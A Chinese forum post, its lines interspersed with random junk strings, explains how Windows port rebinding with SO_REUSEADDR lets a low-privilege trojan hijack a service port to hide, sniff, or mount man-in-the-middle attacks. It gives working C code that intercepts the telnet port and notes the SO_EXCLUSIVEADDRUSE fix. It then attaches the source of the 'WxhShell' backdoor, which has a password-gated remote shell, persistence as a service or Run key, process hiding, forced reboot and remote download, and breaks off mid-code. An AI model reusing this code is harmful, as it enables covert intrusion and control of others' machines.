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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h&&ufF]D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7Y:1ji0l  
d&F8nBIM5  
  saddr.sin_family = AF_INET; ^[2A< g  
k5(@n>p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TC'tui  
Po% V%~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _L9`bzZj  
Or0=:?4`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  t;{/Q&C  
9|fg\C  
  这意味着什么?意味着可以进行如下的攻击: phd,Jg[  
5EM(3eY^q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s~,Ypo?  
Nw8lg*t"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =j6f/8   
Dr&2q X!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @a+1Ri`)  
+g%kr~w=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I6~.sTl  
= oQ-I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y`w+?}(M  
0KE+RzrB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {U>B\D  
qy"#XbBeV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V|)3l7IC<  
(i1 ]+.  
  #include J;HkR9<C  
  #include 5?{a=r9  
  #include V0XQG}  
  #include    h#a,<B|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Jc95Ki1X  
  int main() ;kDz9Va  
  { 8A#qbBD  
  WORD wVersionRequested; |#>\GU=!  
  DWORD ret; u?i_N0H  
  WSADATA wsaData; h@&& .S`B  
  BOOL val; h${+{1](6  
  SOCKADDR_IN saddr; f.4r'^  
  SOCKADDR_IN scaddr; 2Gd.B/L6  
  int err; L TzD\C'  
  SOCKET s; vWc=^tT   
  SOCKET sc; )l~:P uvh  
  int caddsize; "8>T  
  HANDLE mt; N*y09?/h  
  DWORD tid;   E0[ec6^qwY  
  wVersionRequested = MAKEWORD( 2, 2 ); Z_Qs^e$  
  err = WSAStartup( wVersionRequested, &wsaData ); fYBmW')  
  if ( err != 0 ) { 07`hQn)Gc  
  printf("error!WSAStartup failed!\n"); &Ba` 3V\M  
  return -1; PRg^E4  
  } @@M 2s(  
  saddr.sin_family = AF_INET; rOHU)2  
   7.`Fe g.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kr[p4X4  
ux:czZqy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R7pdwKD  
  saddr.sin_port = htons(23); `fYICp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -{n2^vvF  
  { yPs4S?<s  
  printf("error!socket failed!\n"); z|E/pm$^  
  return -1; (e.?). e  
  } *mwHuGbZed  
  val = TRUE; d e)7_pCF|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;/l$&:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _~]~ssn,1  
  { 9%T~^V%T7  
  printf("error!setsockopt failed!\n"); }coSMTMv6  
  return -1; ra2sYH1wr  
  } /%fBkA#n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <pyLWmO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {xJq F4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v,Eqn8/O  
dY[ XNP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z\c^CN  
  { _$g6Mj]1z  
  ret=GetLastError(); :Yeo*v9  
  printf("error!bind failed!\n"); RvrZtg5  
  return -1; HtY0=r  
  } _kGJqyYV  
  listen(s,2); }ya@*jH  
  while(1) Va"H.]  
  { $De14  
  caddsize = sizeof(scaddr); 6:_@;/03%  
  //接受连接请求 `< _A#@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TkHyXOk"Ky  
  if(sc!=INVALID_SOCKET) vM G>Xb  
  { %c:v70*h=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [&y="6No  
  if(mt==NULL) s[<a(  
  { 3*INDD=  
  printf("Thread Creat Failed!\n"); =)QtE|p,77  
  break; {<$ D|<S  
  } %8C,9q  
  } <j\osw1R  
  CloseHandle(mt); max 5s$@  
  } B6qM0QW  
  closesocket(s); dAg<BK/  
  WSACleanup(); o^ Z/~N  
  return 0; B"KDr_,,  
  }   dRC RB  
  DWORD WINAPI ClientThread(LPVOID lpParam) SUGB)vEa  
  { kHMD5Q  
  SOCKET ss = (SOCKET)lpParam; F3 uR:)4<M  
  SOCKET sc; Fs+ CY  
  unsigned char buf[4096]; pAK7V;sJ  
  SOCKADDR_IN saddr; *S _[8L"  
  long num; }MU}-6  
  DWORD val; 3X|7 R  
  DWORD ret; j:k}6]p}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f[r?J/;P9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F/8="dM  
  saddr.sin_family = AF_INET; +ftOJFkI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `eZ +Pf".  
  saddr.sin_port = htons(23); -!_\4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1=o|[7  
  { Jr2x`^aNO  
  printf("error!socket failed!\n"); 4S9hz  
  return -1; _T\/kJ)Q\  
  } ^v2-"mX<  
  val = 100; AlPk o($E*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MZPXI{G  
  { ?so=k&I-M  
  ret = GetLastError(); l  rRRRR  
  return -1; q!fdiv`  
  } /i !3Fr"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uw`YlUT\  
  { b\ P6,s'(  
  ret = GetLastError(); F R57F(31  
  return -1; NCu:E{([  
  } cpY'::5.%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %KjvV<f-a  
  { :6h$1 +6  
  printf("error!socket connect failed!\n"); J~jxmh  
  closesocket(sc); 322)r$!"  
  closesocket(ss); }8lvi vR4  
  return -1; 1&7~.S;km  
  } E8gbm&x*  
  while(1) uDe%M  
  { . W7Z pV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H0dHW;U<1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U<|hIv-&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KzgW+6*G  
  num = recv(ss,buf,4096,0); bh Nqj  
  if(num>0) f52*s#4}  
  send(sc,buf,num,0); h=a-~= 8  
  else if(num==0) 9>QGsf.3  
  break; Gl!fT1zh0  
  num = recv(sc,buf,4096,0); l^~E+F~  
  if(num>0) \jR('5DcB  
  send(ss,buf,num,0); r0Cc0TMdj  
  else if(num==0) r}>q*yx:  
  break; Tr\6 AN?o  
  } Q|$?d4La8  
  closesocket(ss); t%k1=Ow5i  
  closesocket(sc); &gv{LJd5b  
  return 0 ; %)t9b@c!}  
  } J 7/)XS  
NT1"?Thx|  
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========================================================== g %ZKn  
bjq+x:>  
下边附上一个代码,,WXhSHELL \h{M\bSIEa  
U@'F9UB`  
========================================================== 3oo Tn-`{  
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#include "stdafx.h" Le?yzf  
+t8{aaV  
#include <stdio.h> pBR9)T\ n  
#include <string.h> Lh_Q@>k  
#include <windows.h> C@P4}X0,=  
#include <winsock2.h> H?H(=  
#include <winsvc.h> NA/hs/ '  
#include <urlmon.h> ;$FpxurX  
hQFF%xl  
#pragma comment (lib, "Ws2_32.lib")  ?|$IZ9  
#pragma comment (lib, "urlmon.lib") `i"7; _HoV  
n){F FM  
#define MAX_USER   100 // 最大客户端连接数 bMCy=5  
#define BUF_SOCK   200 // sock buffer ^Gt9.  
#define KEY_BUFF   255 // 输入 buffer 3;E,B7,mQ  
fGf C[DuY  
#define REBOOT     0   // 重启 8am/5o  
#define SHUTDOWN   1   // 关机 =rL^^MZp  
^#0k\f>_  
#define DEF_PORT   5000 // 监听端口 P;8D|u^\*  
Shag4-*@hi  
#define REG_LEN     16   // 注册表键长度 v:xfGA nP  
#define SVC_LEN     80   // NT服务名长度 ^_0l(ke  
Cju%CE3a  
// 从dll定义API tqMOh R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z\ 1wEGP7{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); um5n3=K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h ycdk1SN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QPZ|C{Ce  
:enmMB#%  
// wxhshell配置信息 ? CabVj-r  
struct WSCFG { 7[/1uI9U8K  
  int ws_port;         // 监听端口 7j//x Tr}a  
  char ws_passstr[REG_LEN]; // 口令 -ge :y2R_w  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xlp$ xp"  
  char ws_regname[REG_LEN]; // 注册表键名 3[T<pAZ  
  char ws_svcname[REG_LEN]; // 服务名 ?c7} v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^6?)EM#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jWE?$r"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sfUKH;xC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `9>1 w d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FVo_=O)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2$@N4  
H6Dw5vG"l  
}; ]N#%exBVo  
2sXNVo8`w"  
// default Wxhshell configuration >vny9^_  
struct WSCFG wscfg={DEF_PORT, v "Yo  
    "xuhuanlingzhe", -0G/a&ss  
    1, $ KAOJc4<  
    "Wxhshell", 0^G5 zQlj  
    "Wxhshell", xkPH_+4i8  
            "WxhShell Service", JsY|Fv  
    "Wrsky Windows CmdShell Service", ,JVWn>s  
    "Please Input Your Password: ", q2U8]V U)  
  1, g UAx8=h  
  "http://www.wrsky.com/wxhshell.exe", %.nZ@';.  
  "Wxhshell.exe" P)9$}9i  
    }; gOSFvH8FU  
2*5]6B-(  
// 消息定义模块 *? <ygzX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (7k}ysc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jSKhWxL;'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d:"#_  
char *msg_ws_ext="\n\rExit."; 1{0 L~  
char *msg_ws_end="\n\rQuit."; VAL]\@Q}  
char *msg_ws_boot="\n\rReboot..."; Oh]RIWL  
char *msg_ws_poff="\n\rShutdown..."; W_\~CntyZ  
char *msg_ws_down="\n\rSave to "; L&nqlH@+~  
N#!**Q 0  
char *msg_ws_err="\n\rErr!"; hALg5.E{T  
char *msg_ws_ok="\n\rOK!"; /ZpwJc`e  
) Z^b)KAk  
char ExeFile[MAX_PATH]; 8gK  <xp  
int nUser = 0; B*c@w~E  
HANDLE handles[MAX_USER]; 4eh~/o&h  
int OsIsNt; W5c?f,  
y2=`NG=  
SERVICE_STATUS       serviceStatus; s(u,mtG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k  __MYb  
%jc"s\  
// 函数声明 ROWrkJI>i  
int Install(void); k&M9Hn2  
int Uninstall(void); _=*ph0nu  
int DownloadFile(char *sURL, SOCKET wsh); J}M_Ka  
int Boot(int flag); c1>:|D7w  
void HideProc(void); A-GU:B  
int GetOsVer(void); FQp@/H^  
int Wxhshell(SOCKET wsl); rV[/G#V>{  
void TalkWithClient(void *cs); =e j'5m($3  
int CmdShell(SOCKET sock); z c4l{+3  
int StartFromService(void); Xpp%j  
int StartWxhshell(LPSTR lpCmdLine); 9s9_a4t5  
873'=m&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K H&o`U(}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "gQA|NHwV  
PrwMR_-  
// 数据结构和表定义 -s5>GwZt  
SERVICE_TABLE_ENTRY DispatchTable[] = 2"IsNbWV  
{ ~V`F5B  
{wscfg.ws_svcname, NTServiceMain}, %'vLkjI.  
{NULL, NULL} zh6 0b{  
}; u ^}R]:n  
+ia N[F$  
// 自我安装 4w<4\zT_U}  
int Install(void) {EL J!o[  
{ |tua*zEsS  
  char svExeFile[MAX_PATH]; 2z+-vT%  
  HKEY key; JrA\ V=K  
  strcpy(svExeFile,ExeFile); \[MQJX,dn  
g$a 5  
// 如果是win9x系统,修改注册表设为自启动 '|~L9t  
if(!OsIsNt) { YVT\@+C'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %!HBPLk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Y!_tZ>  
  RegCloseKey(key); ;G\RGU~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Nu Rf#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *<rBV`AP  
  RegCloseKey(key); n `Ry!  
  return 0; UX!)\5-  
    } zmdu\:_X9  
  } Hs>|-iDs(  
} 9 %MHIY5  
else { S#g=;hD  
R.rxpJ+kU  
// 如果是NT以上系统,安装为系统服务 W{js9$oJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z.x9SEe1t  
if (schSCManager!=0) @Z{!T)#}j  
{ o%1dbbh  
  SC_HANDLE schService = CreateService q(iM=IeiN  
  (  XeRbn  
  schSCManager, Oqy&V&-C  
  wscfg.ws_svcname, eABLBsx  
  wscfg.ws_svcdisp, ^}\!Sn  
  SERVICE_ALL_ACCESS, '"~ 2xiin  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U|!L{+F  
  SERVICE_AUTO_START, WAWy3i  
  SERVICE_ERROR_NORMAL, T 7EkRcb  
  svExeFile, !y 7SCz g  
  NULL, m c q!_#{y  
  NULL, `Ir{ax&H.e  
  NULL, sPoH12?AL  
  NULL, =bDy :yY}  
  NULL }2CVA.Qm!  
  ); Th%2pwvER  
  if (schService!=0) k6|wiSyu  
  { =U)e_q  
  CloseServiceHandle(schService); 2F- ]0kGR|  
  CloseServiceHandle(schSCManager); ^9wQl!e ob  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8/oO}SLF  
  strcat(svExeFile,wscfg.ws_svcname); rM5{R}+;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /_g-w93   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [fl x/E  
  RegCloseKey(key); ;wF 0s  
  return 0; Q xg)Wb#  
    } a3?D@@Qnw  
  } 8e{S(FZ7Ed  
  CloseServiceHandle(schSCManager); ~wl 4  
} mYRW/8+g  
} a ]~Yi.H  
hantGw |  
return 1; 0Xx&Z8E  
} kH9P(`;Vq  
64jFbbd-/  
// 自我卸载 O>)Fl42IeD  
int Uninstall(void) ehe;<A  
{ CpG]g>]L&[  
  HKEY key; wr+r J  
ICxj$b  
if(!OsIsNt) { CQGq}.Jt!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q`* v|Lp  
  RegDeleteValue(key,wscfg.ws_regname); U 4Sxr  
  RegCloseKey(key); b!hs|emo;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t7 ].33%\  
  RegDeleteValue(key,wscfg.ws_regname); Aq~}<qkIF+  
  RegCloseKey(key); /6@~XO) w  
  return 0; [(65^Zl`  
  } zv>3Tc0R  
} ZT'VF~  
} 9S8>"w^R  
else { 2$OI(7b=  
XNd%3rm,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7>sNjOt@M  
if (schSCManager!=0) 52H'aHO1  
{ 08 $y1;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I(2qXOG  
  if (schService!=0) Y(D&JKx  
  { $22_>OsA  
  if(DeleteService(schService)!=0) { -o`Eka!ELz  
  CloseServiceHandle(schService); c@&-c[k^W  
  CloseServiceHandle(schSCManager); 0!6n  
  return 0; aUVJ\ ;V  
  } Rx\.x? &  
  CloseServiceHandle(schService); 7%x 3o#&  
  } Dx1w I  
  CloseServiceHandle(schSCManager); F )|0U~  
} (^)" qs B  
} B<}0r 4T}  
,KO_h{mI<  
return 1; +&j&es  
} [h;&r"1  
#MwNyZ  
// 从指定url下载文件 6Uik>e7?  
int DownloadFile(char *sURL, SOCKET wsh) njoU0f1`  
{ ) }.<lSw  
  HRESULT hr; =iZj&B X  
char seps[]= "/"; %DqPRl.Gu  
char *token; dd=' ;%?  
char *file; G,]%dZH e  
char myURL[MAX_PATH]; WBIJ9e2~  
char myFILE[MAX_PATH]; JxlU=7cF  
6&Al9+$  
strcpy(myURL,sURL); ^P| K2at  
  token=strtok(myURL,seps); 6%nKrK  
  while(token!=NULL) 72;4  
  { A"$UU6Z4  
    file=token; Aqp$JM >  
  token=strtok(NULL,seps); a9<&|L <  
  } 9 f+S-!  
Ta 0Ln  
GetCurrentDirectory(MAX_PATH,myFILE); 4PsJs<u  
strcat(myFILE, "\\"); RXZ}aX[h  
strcat(myFILE, file); n:i?4'-}  
  send(wsh,myFILE,strlen(myFILE),0); ?oKY"C8/  
send(wsh,"...",3,0); h_{//W[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PX%Y$`  
  if(hr==S_OK) 4IEF{"c_8  
return 0; g*uo2-MN&e  
else sh|@X\EZO  
return 1; aLKvl~s;m  
GLIe8T*ht  
} N9s ,..  
UCv9G/$  
// 系统电源模块 )C0dN>Gb  
int Boot(int flag) NjL^FqA[  
{ )X dpzWod  
  HANDLE hToken; }>|!Mf]W?R  
  TOKEN_PRIVILEGES tkp; beN(7jo  
Q8^fgI|  
  if(OsIsNt) { _#2AdhCu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q, 1TD 2)h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x<-n}VK\  
    tkp.PrivilegeCount = 1; equTKM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  a1p}y2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {Al}a`da  
if(flag==REBOOT) { pMfP3G7V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S9'8rn!_  
  return 0; $cUTe  
} /N'|Vs,X  
else { l_`DQ8L`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >#j f Z5t  
  return 0; ZV?~~_ 9  
} ==i:*  
  } .S{Q }S  
  else { V6.w=6:`X  
if(flag==REBOOT) { Mr8r(LGY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G{8>  
  return 0; 'W>Zr}:  
} BRu/pyxG  
else { mF|7:zSo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .^Z^L F  
  return 0; /<\B8^yQ  
} mnwYv..ePz  
} 6N^sUc0s  
>>'t7 U##  
return 1; Lh"!Z  
} N0:gY]o%  
B< `'h  
// win9x进程隐藏模块 e{8j(` (;#  
void HideProc(void) <Fc @T4Q,  
{ rps2sXGr  
^JKV~+ Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f"8!uE*;  
  if ( hKernel != NULL ) ~|7jz;$V  
  { 99<0xN(25  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "gR W91 T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3*DwXH+  
    FreeLibrary(hKernel); BV9%|  
  } f8m%T%]f  
b)5z'zQu  
return; -@wnQ?  
} 5tIM@,.I/  
mM&*_#( 6  
// 获取操作系统版本 _B5t)7I  
int GetOsVer(void) 6@2 S*\&  
{ 2`-yzm  
  OSVERSIONINFO winfo; Xg](V.B6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RnA>oKc  
  GetVersionEx(&winfo); j\ dY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \; b)qB  
  return 1; 6"d^4L?  
  else H| uvcvf  
  return 0; -RSPYQjz  
} <N Lor55.]  
#..-!>lY  
// 客户端句柄模块 b0~AN#Es  
int Wxhshell(SOCKET wsl) N<xf=a+j  
{ o9l =Q  
  SOCKET wsh; b`4R`mo  
  struct sockaddr_in client; X C jYm  
  DWORD myID; 1>doa1  
x}w"2[fL  
  while(nUser<MAX_USER) '}`|QJ  
{ V ifQ@  
  int nSize=sizeof(client); /<HEcB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a!;]9}u7  
  if(wsh==INVALID_SOCKET) return 1; @Gs*y1  
78s:~|WB<{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d" "GG/  
if(handles[nUser]==0) IQZBH2R  
  closesocket(wsh); 2 us-s  
else &*I\~;1  
  nUser++; suh@  
  } n.[0#Ur&}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {L!w/IeX  
j4au Zl]NF  
  return 0; @aG1PG{  
} x,s Ma*vd  
a:PS}_.  
// 关闭 socket ^8mF0K&  
void CloseIt(SOCKET wsh) X[frL)k]  
{ uc% &g  
closesocket(wsh); f PoC yl  
nUser--; 0/8rYBV  
ExitThread(0); I 9yN TD  
} h\ (z!7t*  
*cdr,AD?lH  
// 客户端请求句柄 He)<S?X-6  
void TalkWithClient(void *cs) Wdt9k.hzN  
{ "d a%@Zy  
`ym@ U(;N  
  SOCKET wsh=(SOCKET)cs; H!F Cerg  
  char pwd[SVC_LEN]; N0@&eX|$i4  
  char cmd[KEY_BUFF]; _)J;PbK~  
char chr[1]; +F &,,s"&  
int i,j; %!r>]M <  
#?xhfSgr  
  while (nUser < MAX_USER) { dQ=mg#(  
hcw)qB,s  
if(wscfg.ws_passstr) { KzQ\A!qG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _YXk ,ME!Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?|8QL9Q"|  
  //ZeroMemory(pwd,KEY_BUFF); dOm#NSJVd  
      i=0; f`5e0;zm  
  while(i<SVC_LEN) { uzO%+B!  
iOB]72dh  
  // 设置超时 }+[H~8)5  
  fd_set FdRead; y.AF90Q>)  
  struct timeval TimeOut; UFxQ-GV4  
  FD_ZERO(&FdRead); KzRw)P  
  FD_SET(wsh,&FdRead); +\FTR  
  TimeOut.tv_sec=8; 5!ll #/ {`  
  TimeOut.tv_usec=0; /B$"fxFf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ckqU2ETpD}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G?LPj*=$?  
%}+!%A.3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a!,q\p8<t0  
  pwd=chr[0]; ~q]+\qty4  
  if(chr[0]==0xd || chr[0]==0xa) { ^h+<Q%'a'  
  pwd=0; 10v4k<xb  
  break; 6V=69}  
  } Q 'R@'W9  
  i++; })Og sBk  
    } K~A$>0c  
"5mdq-h(  
  // 如果是非法用户,关闭 socket c9\jELO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zcGeXX}V?  
} k zhek >  
.Od.lxz"mp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .*u, !1u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nXDU8|"  
<|~8Ezd  
while(1) { huu:z3{=J  
=`5Xx(  
  ZeroMemory(cmd,KEY_BUFF); rn l~i  
g{@q  
      // 自动支持客户端 telnet标准   + #gJ[Cc  
  j=0; /I{<]m$  
  while(j<KEY_BUFF) { %eCbH`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /TTmMx*  
  cmd[j]=chr[0]; M,Q(7z?#5  
  if(chr[0]==0xa || chr[0]==0xd) { VnUW UIVJ  
  cmd[j]=0; OWsK>egD  
  break; ?5e:w?&g@  
  } gc-yUH0I  
  j++; 0c4H2RW  
    } WL4{_X  
f&glY`s#  
  // 下载文件 `;-K/)/x  
  if(strstr(cmd,"http://")) { 7aVQp3<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +0mU)4n/  
  if(DownloadFile(cmd,wsh))  4I7}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Ha tb bA  
  else &MnS( 82L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >3V{I'^^-  
  } $:V'+s4o  
  else { ^)Xl7d|m+  
~:r:?PwWG  
    switch(cmd[0]) { * 8n0  
  4y&%YLMpl  
  // 帮助 !T/ ^zc;G  
  case '?': { {-IH?!&v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5BCHW X*y  
    break; 12;"=9e!  
  } ^>02,X mk  
  // 安装 )J 4XM(  
  case 'i': { hjywYd]8  
    if(Install()) GU'/-6-T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#REbY5ev  
    else oJJ2y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0R&$P 6  
    break; b f.__3{  
    } 5LU8QHj3  
  // 卸载 d^sS{m\  
  case 'r': { ~aKxwH  
    if(Uninstall()) bD[W`yW0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s^F6sXhyPi  
    else A{mv[x-XN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BtS#I[-p_  
    break; 5q<AMg  
    } Lu!o!>b  
  // 显示 wxhshell 所在路径 X(Gp3lG  
  case 'p': { :,03)[u{8  
    char svExeFile[MAX_PATH]; UN'[sHjOnD  
    strcpy(svExeFile,"\n\r"); 6('2.^8  
      strcat(svExeFile,ExeFile); ?zW4|0  
        send(wsh,svExeFile,strlen(svExeFile),0); Vo^ i7  
    break; _oK*1#Rm8  
    } /?<o?IR~6  
  // 重启 H'E(gc)>)  
  case 'b': { $s-/![ 6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VWqmqR%  
    if(Boot(REBOOT)) .}Va~[0j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9~i=Af@  
    else { &GF@9BXI3  
    closesocket(wsh); zi l^^wT0J  
    ExitThread(0); hw/ :  
    } ]cvP !  
    break;  }t}y  
    }  nen(  
  // 关机 +6tj w 6  
  case 'd': { ^6R?UG;6  
